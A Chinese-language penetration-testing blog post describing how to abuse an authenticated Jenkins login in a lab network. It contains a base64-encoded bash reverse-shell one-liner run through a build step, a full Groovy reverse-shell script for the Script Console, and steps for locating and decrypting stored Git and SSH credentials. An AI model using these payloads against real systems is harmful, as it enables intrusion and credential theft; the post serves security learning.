技术分享 | Jenkins 后渗透

admin 2024年9月5日11:19:36评论37 views字数 4854阅读16分10秒阅读模式
技术分享 | Jenkins 后渗透

稿



本文由abcd提供,主要介绍了获取Jenkins用户权限后如何进一步利用扩大成果。


前言

在实战项目中,经常会碰到Jenkins,但在高版本的Jenkins下我们无法直接rce,因此需要通过密码本或者弱口令获取到Jenkins的用户权限。之后应该如何进一步的利用,帮助我们扩大成果呢?首先需要先了解Jenkins。


Jenkins简介

Jenkins是一个开源的自动化服务器,用于实现软件开发中的持续集成和持续交付。它提供了一个可扩展的平台,用于构建、测试和部署软件项目。


Jenkins的主要目标是帮助开发团队自动化软件交付过程中的重复性任务,如构建、测试和部署。它通过提供一个易于使用和可定制的界面,以及丰富的插件生态系统,使得开发人员能够根据自己的需求来配置和扩展工作流程。


主要特点:

1、持续集成:Jenkins支持持续集成,即将代码的改动频繁地集成到共享的代码库中,并通过自动化的构建、测试和部署流程来验证代码的质量。

2、可扩展性:Jenkins提供了丰富的插件生态系统,使得开发人员可以根据项目的需求来扩展其功能。插件覆盖了各种领域,包括源代码管理、构建工具、测试框架、部署工具等。

3、 强大的工作流支持:Jenkins支持定义复杂的工作流程,使得开发团队可以按照特定的顺序和条件来执行任务。这样,可以根据项目的需求自定义构建流程,并将其可视化为流程图。

4、分布式构建:Jenkins支持将构建任务分发到多台计算机上进行并行构建,以提高构建的效率。这对于大型项目或需要大量构建的项目非常有用。

5、监控和通知:Jenkins提供了实时的构建监控和报告功能,可以查看构建的状态、日志和报告。同时,它还可以发送通知,如邮件、Slack消息等,以便及时通知开发团队构建结果。

6、多种集成选项:Jenkins可以与各种工具和服务进行集成,如版本控制系统(Git、SVN等)、构建工具(Maven、Gradle等)、测试框架(JUnit、Selenium等)、部署工具(Docker、Kubernetes等)以及持续交付平台(Jira、GitHub等)。


持续集成

技术分享 | Jenkins 后渗透


持续集成(ContinuousIntegration,简称CI),是一种软件开发实践,在实践中指只要代码有变更,就自动运行构建和测试,反馈运行结果。通俗一点来讲,就是绑定项目的代码仓库,SVN或者Git库,自动抓取新的代码,完成构建,甚至执行测试,部署到服务器。


持续集成强调开发人员提交了新代码之后,立刻进行构建、(单元)测试。根据测试结果,来确定新代码和原有代码能否正确地集成在一起。


持续集成的操作流程如下:

技术分享 | Jenkins 后渗透

1、安装和配置:首先,你需要在服务器上安装Jenkins,并进行一些基本的配置,如设置管理员账号和密码、配置源代码管理系统、配置构建工具等。

2、创建项目:在Jenkins中,你可以创建一个新项目,用于托管你的代码库和执行持续集成任务。项目可以与版本控制系统(如Git、SVN等)进行集成。

3、配置构建:在项目中,你可以配置构建步骤,包括代码的获取、依赖项的安装、编译和构建、单元测试、静态代码分析等。Jenkins提供了各种插件和工具,可以与不同的构建系统(如Ant、Maven、Gradle等)和测试框架(如JUnit、Selenium等)进行集成。

4、触发构建:你可以手动触发构建过程,也可以配置定时构建或基于代码提交的自动构建。Jenkins可以监听代码库的变化,并在有新的提交时自动开始构建过程。

5、构建过程:Jenkins将按照你配置的步骤依次执行构建过程。它会从代码库中获取最新的代码,执行构建命令,运行测试,并生成构建报告和日志。

6、构建结果:构建完成后,Jenkins会根据构建结果判断是否成功。你可以查看构建报告和日志,了解构建过程中的错误和警告。如果构建失败,你可以及时采取措施解决问题。

7、部署和通知:如果构建成功,你可以配置自动部署步骤,将构建产物部署到目标环境中。同时,Jenkins还可以发送通知,如邮件、Slack消息等,向团队成员和相关人员通知构建结果。


后渗透思路

模拟环境如下:

    Jenkins:192.168.179.135:8080

    gitlab:192.168.179.141:8090

    testServer:192.168.179.137


当我们能够登录进jenkins后台的时候,我们需要知道Jenkins存在哪些利用的点能够来帮助我们扩大战果。


由前面对Jenkins的介绍来看,Jenkins的主要作用是用来简化程序员发布源码的集成化运维工具,可以对整个程序发布过程进行自定义的操作,部署的流程粗略可以分为3个大步骤:

  1. 从源码仓库上拉取代表保存到本地(github,gitlab,码云,nexcus...)         

  2. 编译源码              

  3. 将编译好的源码发送到服务器,并运行。


Jenkins强大的地方在于可以自定义这3个流程,形成一套流水线操作,包括对更新修改过的代码进行单元测试。


接下来以构建一个maven项目来进行说明,构建过程中可以利用的点

技术分享 | Jenkins 后渗透
技术分享 | Jenkins 后渗透


这里默认是没有构建一个maven项目的选项,需要安装插件Maven Integration plugin(https://plugins.jenkins.io/maven-plugin/)

技术分享 | Jenkins 后渗透
技术分享 | Jenkins 后渗透
技术分享 | Jenkins 后渗透


然后继续创建maven工程

General部分没有什么利用价值,可以保持默认


第一个可以利用的点:源码仓库用户密码

Source Code Management部分通常配置了源码仓库的用户密码,如果能获取到该密码就能登录对方的源码仓库,但是遗憾的是jenkins的密码都是以号显示。密码存放在$JENKINS_HOME/credentials.xml

技术分享 | Jenkins 后渗透
技术分享 | Jenkins 后渗透


第二个可以利用的点:Build Environment

Build Environment配置下可以编译完成后发送文件到目标服务器,通常是编译好的jar包,发送完成后可以在目标服务器(接收文件的服务器)上执行命令

技术分享 | Jenkins 后渗透
技术分享 | Jenkins 后渗透


如果直接构建这个项目的话,可以在下图任意地方查看控制台输出日志

技术分享 | Jenkins 后渗透
技术分享 | Jenkins 后渗透


这里在testServer(192.168.179.137)执行了命令,生成了22.txt

技术分享 | Jenkins 后渗透


之前选择的是Send files or execute commands over SSH after the build runs意思是构建开始之后时候,运行或者发送文件,而另外一个选项Send files or execute commands over SSH before the build starts意思是构建开始时候,运行或者发送文件,其配置的内容都一样

技术分享 | Jenkins 后渗透


这里可以用来反弹程序运行服务器的shell。


第三个可以利用的点:Pre Steps

技术分享 | Jenkins 后渗透


这里可以执行的命令是在构建开始之前,jenkins服务器上执行命令,如果我们输入如下命令,则会在/tmp目录下生成2.sh文件,并且运行,这个是简单的反弹shell命令

echo "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3OS4xMzkvODk4OSAwPiYx  | base64 -d | bash" >/tmp/2.sh && chmod 777 /tmp/2.sh && /tmp/2.sh


构建运行效果如下(需要先开启监听):

技术分享 | Jenkins 后渗透


可以看到当前反弹的会话ip是192.168.179.135

技术分享 | Jenkins 后渗透


第四个利用点:post Steps

这个步骤是利用ssh将文件传送到目标服务器上,与利用点二类似。这里会把执行的命令在控制台中输出

技术分享 | Jenkins 后渗透


需要注意的是

技术分享 | Jenkins 后渗透


这三个选项分别代表仅构建成功时运行,构建成功或者不稳定时候运行,无论如何都运行。可以打开控制台日志

技术分享 | Jenkins 后渗透


下面是日志输出内容

技术分享 | Jenkins 后渗透
技术分享 | Jenkins 后渗透


第五个利用点:Mangee Jenkins

从dash页面进入Mangee JenkinsScript Console可以执行Groovy script

技术分享 | Jenkins 后渗透


Groovy 反弹shell脚本如下,Windows下需要更改String cmd="cmd.exe"

String host="192.168.179.138"; int port=8989; String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();


技术分享 | Jenkins 后渗透
技术分享 | Jenkins 后渗透


我们进入jenkins的后台后,如果出网的情况下可以直接反弹shell,然后直接在服务器上提取Jenkins保存的各种凭证文件,主要是git跟ssh账号,但是所有凭据信息中的密码都是加密保存的,其中git密码保存在$JENKINS_HOME/credentials.xml

技术分享 | Jenkins 后渗透


ssh的密码保存在(安装publish-over-ssh-plugin插件)

/home/jenkins/.jenkins/jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml


技术分享 | Jenkins 后渗透
技术分享 | Jenkins 后渗透


通常保存的凭据是通过Jenkins的工具类加密的,可以使用如下工具进行解密,需要解密文件

    $JENKINS_HOME/secrets/master.key

    $JENKINS_HOME/secrets/hudson.util.Secret


git凭证解密工具https://github.com/hoto/jenkins-credentials-decryptor


不支持解密jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml,主要原因是提取加密字段不支持原因,credentials.xml文件是git凭据保存的文件


$JENKINS_HOME/credentials.xml

技术分享 | Jenkins 后渗透


-o json 是以 json 格式输出,对于ssh的密码解密可以使用https://github.com/rabbitmask/Jenkins_Credentials_Crack。该项目可以直接解密加密的字段

技术分享 | Jenkins 后渗透


这个是解密单个加密字段,例如我们解密ssh登录密码的加密字段

技术分享 | Jenkins 后渗透


python jenkins_credential.py master.key hudson.util.Secret AQAAABAAAAAQnkZZHLZtC/zTss1sIRsEQCt4Yvpq4Rh3b+ryVJ97Sxg=


技术分享 | Jenkins 后渗透


可以得到 jenkins账户的密码为Qweqwe123!。当然这个脚本同样可以解密credentials.xml下的git用户密码加密字段,因为调用的是同样的加密类,这里我的gitlab用户密码是root/Qwe。所以加密后的值一样。


除了git跟ssh外,Jenkins还可能会保存邮箱的登录信息,也可以在Jenkins家目录下找到相应的配置文件来解密。



技术分享 | Jenkins 后渗透

睿思麟阁向广大网络安全爱好者征集技术文章啦!

了解更多投稿福利请戳 ↓↓

技术分享 | Jenkins 后渗透

原文始发于微信公众号(进击的HACK):技术分享 | Jenkins 后渗透

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月5日11:19:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   技术分享 | Jenkins 后渗透https://cn-sec.com/archives/3132505.html

发表评论

匿名网友 填写信息